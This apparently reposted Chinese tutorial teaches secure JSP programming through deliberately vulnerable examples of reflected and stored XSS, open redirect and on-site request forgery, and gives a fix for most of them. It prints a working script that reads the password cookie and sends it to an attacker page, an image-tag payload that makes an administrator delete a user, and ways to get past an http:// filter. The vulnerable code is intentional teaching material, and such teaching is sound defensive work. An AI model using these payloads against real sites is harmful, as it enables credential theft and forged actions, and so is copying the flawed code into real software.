首页 > 编程 > JSP > 正文

从JSP 例子解析Web 安全编程实战

2024-09-05 00:23:41
字体:
来源:转载
供稿:网友
 

注:本文所有的例子虽然基于 JSP/Servlet 技术开发,但是漏洞和解决方法的原理适用于其他 Web 技术。

Web 安全现状

Web 安全现状不容乐观,近几年也存在 Web 攻击的重大实际案例,比如信息产业部官方报纸《中国电子报》网站被黑、大学生网络银行盗窃案等。另据调查显示,目前网站常见攻击手段中,SQL 注入、XSS 和跨站脚本攻击占了很大部分。攻击者往往没有明确的目的性,有些攻击并不能带给他们利益,只是出于初学的好奇和攻击成功的成就感,也就是说许多攻击由于初学者引起的。实际上,像很多初学骇客的攻击都可以被防御,只要我们了解其基本原理,就可以应付许多菜鸟骇客的攻击,减少运维费用。所以文章再一次强调 Web 程序员需要注意编程习惯,尽力保证网站的安全。

实战

文章从实际的 JSP 例子出发,尽力解释安全问题产生的原因。这些例子代码是本人初学 JSP,也是许多人在开始学习 JSP 时容易编写的问题代码。代码看起来并没有什么问题,但是往往存在巨大的漏洞。例子虽然简单,却很能说明问题。文章将用 6 个例子,分别讲述 6 种 Web 攻击手段及原理,以及程序员需要从哪些方便进行防御。可以从图片介绍中查看效果。讲解 6 种 Web 漏洞的顺序如下表,读者也可以选择感兴趣的部分点击查看。

  • 反射型 XSS 漏洞
  • 保存型 XSS 漏洞
  • 重定向漏洞
  • 本站点请求漏洞
  • 跨站点请求漏洞
  • SQL 注入漏洞

在文章的附件代码中,包含上述各个列表项的示例程序,每个列表项对应了单独的项目文件夹,以漏洞名称命名,可以直接使用 Jee Eclipse 打开。

问题代码 --- 反射型 XSS 漏洞

反射型 XSS 漏洞是一种非常常见的 Web 漏洞,原因是由于程序动态显示了用户提交的内容,而没有对显示的内容进行验证限制。因此这就让攻击者可以将内容设计为一种攻击脚本,并且引诱受害者将此攻击脚本作为内容显示,而实际上攻击脚本在受害者打开时就开始执行,以此盗用受害者信息。

例子是动态显示错误信息的程序,错误信息可以在 URL 中传递,显示时服务器不加任何限制,符合反射型 XSS 攻击的条件。


清单 1. index.jsp 主要代码
 <form action="ReflectXSSServer" method="post">   用户名:<input type="text" name="username" value=""/><br>   密   码:<input type="password" name="password" value=""/><br>   <input type="submit" value="提交"/>  </form> 


清单 2. ReflectXSSServe.java 主要代码
 String username = request.getParameter("username");  String password = request.getParameter("password");  // 添加用户信息到 Cookie,方便下次自动登录 addToCookie(“username”, username);  addToCookie(“password”, password);  request.getRequestDispatcher(" error.jsp?error=password is wrong!").forward(request, response); 


清单 3. error.jsp 主要代码
 Error Message :<%=request.getParameter("error")%> 

index.jsp 作为用户登录界面,提交登录请求给 ReflectXSSServe.java。ReflectXSSServe.java 处理登录请求,将用户名和密码记录到 cookie,方便用户下次登录。如果登录信息错误 ( 例子代码直接认为错误 ),就会跳转到 error.jsp,显示错误信息,错误信息是通过名为 error 的参数传递。

问题分析

代码很简单,似乎也很合逻辑,但是这个程序暴露出一个严重的问题就是错误信息是通过参数传递,并且没有经过任何处理就显示。如果被攻击者知道存在这样一个 error.jsp,攻击者就可以很容易的攻击用户并且获得用户的重要信息。

攻击此程序

可以设计这样一个 URL:http://localhost:8080/application/error.jsp?error=<script>var mess = document.cookie.match(new%20RegExp("password=([^;]*)"))[0]; window.location="http://localhost:8080/attacter/index.jsp?info="%2Bmess</script>。这看起来有点复杂,让我们分析一下。http://localhost:8080/application/error.jsp?error= 这一部分,是 error.jsp 的地址,我们主要关心后面的错误信息内容,这是一段 javascript 脚本,document.cookie.match(new%20RegExp("password=([^;]*)"))[0],这样一句话,是为了获得 cookie 中名为 password 的值。然后,通过 window.location 重定向到攻击者的网站,并且把 password 作为参数传递过去,这样,攻击者就知道你的密码了。后面,只需要让被攻击者登录后点击这个 URL 就可以了。

为了让被攻击者可以点击这个 URL,攻击者往往会构建能够吸引被攻击者的网页,或者邮件,这个做法有个形象的称呼:钓鱼攻击。当被攻击者登录应用系统后,cookie 就保存了用户名和密码信息。由于设计的 URL 的主体是收信任的网站,被攻击者往往毫不犹豫的点击攻击者设计的 URL,那么设计好的 script 脚本被当做信息内容嵌入到 error.jsp 中时,就会作为脚本开始执行,用户名和密码也就被人盗取了。


图 1. 用户登录界面


 

用户输入用户名和密码分别为 user 和 pass,登录后受到钓鱼攻击,点击了攻击者设计的 URL。


图 2. 诱使用户点击 URL


 

攻击者设计的 URL 包含攻击脚本,攻击脚本执行后,password 的内容被传到另一个网站,这个应用程序是 attacter(附件中也会包含),password 信息被记录到攻击者的数据库。


图 3. 攻击成功界面

 

解决方法

尽量避免直接显示用户提交的数据,应进行一定的过滤,比如对于数据中存在的 < 和 > 等符号需要进行编码,这样就可以防止脚本攻击。

问题代码 --- 保存型 XSS 漏洞

保存型 XSS 漏洞的危害会更大,它是将攻击脚本保存到被攻击的网页内,所有浏览该网页的用户都要执行这段攻击脚本。

这个例子,模仿了一个论坛发表评论的网页。对于用户的评论,系统不加任何限制和验证,直接保存到服务器的数据库中(例子使用全局对象代替数据库,作为例子演示)。并且当有其他用户查看网页时,显示所有评论。


清单 4. saveXSS.jsp 主要代码
 <jsp:useBean id="tl" scope="application" class="java.util.LinkedList"></jsp:useBean>  <%  String topic = (String)request.getParameter("topic");  if (topic != null && !topic.equals(""))  {  tl.add(topic);  }  %>  <div>  <% for(Object obj : tl)  {  String str = (String)obj;  %>  <div><%=str%><div/>  <% } %>  </div>  <form action="saveXSS.jsp" method="post"> 评论:<input type="text" name="topic"/><br>  <input type="submit" value="提交"/>  </form> 

这里用了一个应用级的 List 对象存放评论列表,只是为了演示方便。用户可以在 form 中编写评论内容,提交到同一页面 saveXSS.jsp,提交以后,List 对象增加这个评论,并且显示出来。

问题分析

这个程序符合了保存型 XSS 攻击的所有条件,没有限制评论内容,程序会保存所有评论,显示给查看网页的用户。只要攻击者将攻击脚本作为评论内容,那么所有查看评论的用户都将执行这段攻击脚本而受到攻击。

攻击此程序

攻击这个程序所需要设计的攻击脚本和上文的错误显示内容一样,但是需要注意的是这次不需要编码,%20 改为空格,而 %2B 则变为 +,原因是上例是通过 URL 传递数据,而本例是直接通过表单传递数据,攻击脚本:<script>var mess = document.cookie.match(new RegExp("password=([^;]*)"))[0]; window.location="http://localhost:8080/attacter/index.jsp?info="+mess</script>,将这个内容作为评论发表,那么当其他用户查看这个网页时,攻击脚本代码被当做内容嵌入到网页中,攻击脚本就被触发执行,用户就会受到攻击,脚本执行过程和反射型 XSS 攻击一致。


图 4. 评论界面


 

发表的内容是攻击者设计的一个攻击脚本,这个脚本被直接保存到了网页中。任何查看此页面的其他用户,他们的信息都会被盗取。


图 5. 提交攻击脚本


 

>解决方法

对于保存型 XSS 漏洞,由于我们无可避免的需要显示用户提交的数据,所以过滤是必然的,过滤 < 和 > 等符号可以避免上述漏洞的发生。

问题代码 --- 重定向漏洞

如果应用程序提取用户可控制的输入,并使用这个数据执行一个重定向,指示用户的浏览器访问一个不同于用户要求的 URL,那么就会造成重定向漏洞。

例子允许用户输入一个重定向路径,由服务器执行跳转。


清单 5. index.jsp 主要代码
 <form action="Redirect">     地址:<input name="target" type="text"><br>      <input type="submit" value="提交">  </form> 


清单 6. Redirect.java 主要代码
 String param = request.getParameter("target");  if (param != null && !param.equals(""))  {  response.sendRedirect(param);  } 

用户在 index.jsp 的表单中输入跳转的路径,服务器端的 Redirect.java 执行 sendRedirect 重定向。

问题分析

程序允许让用户设置重定向地址,而并没对地址内容进行验证处理,而是直接跳转,那么攻击者完全可以设计一个攻击 URL,其中包含攻击者设计的攻击内容,使用钓鱼攻击,诱使用户点击此 URL,受到攻击。

攻击此程序

设计 URL:http://www.baidu.com,这里只是以跳转作为例子,并没有构建真正有害的网站,所以使用普通地址作为演示,假设这个地址有许多有害信息。其中 http:// 头部非常重要,它可以让服务器执行绝对跳转,跳转到 www.baidu.com。如果没有 http:// 就会跳转到系统的相对路径。


图 6. 输入路径


 

点击提交,网页就会跳转到百度界面。

有人试图这样处理跳转路径 param:param = param.replaceFirst("http://", ""); 将第一个 http:// 替换为空字符串,认为这样可以解决问题,但是攻击者往往也很聪明,他会将 URL 改为 : http://http://, 即使替换了第一个,第二天 http:// 就会生效。那么如果对 param 这么处理呢:param = param.replaceAll("http://", ""); 将所有的 http:// 都替换,那么攻击者可以将 URL 设计为 hthttp://tp://,将中间的 http:// 替换为空后,ht 和 tp:// 组合又变为 http://,攻击又一次生效 , 因此,我们需要一个更加全面的考虑。

解决方法

避免由用户决定跳转的页面,如果必须这么做,路径中只允许出现 /以及 数字或者 英文字符可以一定程度的避免这个问题。

问题代码 --- 本站点请求漏洞

本站点请求伪造(on-site request forgery,OSRF)是一种利用保存型 XSS 漏洞的常见攻击有效载荷。是攻击者设计攻击代码,保存到被攻击网页上,当普通用户或者管理员查看页面时,攻击代码就会执行,此攻击代码的目的是伪装成查看网页的用户向服务器发出请求。

这是一个发布图像的论坛例子,用户可以输入图像 URL,论坛负责读取此 URL 进行显示。

img.jsp 与前文的 saveXSS.jsp 代码相同,只是这次显示不再是字符串,而是需要将

<div><%=str%><div/> 改为 <div><img src=<%=str%> width=50 height=50/><div/>,目的是显示用户上传的图像。


清单 7. admin.jsp 主要代码
 <%  String username = (String)request.getParameter("username");  System.out.println("delete " + username);  %>  <%=username%> 

admin.jsp 是管理员用于删除用户的请求处理程序,admin.jsp 实际上应该会判断是否是管理员账户,如果是才允许执行删除用户的操作。本文例子假设请求的确为管理员发出。

问题分析

这个程序明显存在着保存型 XSS 漏洞,并且上传的内容被作为图像 URL,img 标签是本站点请求漏洞的敲门器,因为 img 始终会执行 src 属性的 URL 请求,而不管 src 指向的是否是真正的图像。这个程序并没有对 src 是否是图片地址进行验证,因此可以伪造请求。

攻击此程序

将上传的图像 URL 设计为:admin.jsp? username=hello,提交上去后,从攻击者的角度看,只是图片没有显示,因为攻击者并不是管理员,所以实际上无法删除 hello 这个用户。但是当管理员打开这个页面时,img 标签就会执行 admin.jsp? username=hello 的请求,请求删除 hello 用户,由于的确是管理员发出的请求,服务器执行删除操作,删除了 hello 用户,攻击者的目的也就达到了。


图 7. 输入攻击 URL


 


图 8. 攻击者提交 URL

发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表